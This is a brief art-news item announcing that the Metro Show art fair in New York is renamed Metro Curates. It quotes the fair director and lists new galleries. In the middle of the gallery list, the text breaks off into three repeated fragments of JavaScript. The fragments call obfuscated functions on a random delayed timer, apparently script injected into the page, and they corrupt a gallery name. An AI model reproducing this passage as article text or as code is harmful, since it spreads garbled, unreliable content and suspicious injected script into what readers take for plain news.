NEW YORK CITY — The Art Fair Company has announced that it has changed the name of the Metro Show to Metro Curates.

“We believe that the new name best reflects the curatorial aims of the fair,” says fair director Caroline Kerrigan. “Last year, we asked each of the participating galleries to create a booth based on a single artist or themed exhibit of works. From their enthusiastic response, as well as from fair attendees, we believe that Metro Curates best exemplifies the mission of the fair — to present singular viewpoints among exhibitions that cross genres in unexpected ways.”

Along with its new name comes a roster of new galleries. Among them are Forum Gallery, American Garage, Joshua Lowenfels Works of Art, Aaron Galleries, Leatherwood Antiques, Marion Harris andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Rebecca Hossack Art Gallery.
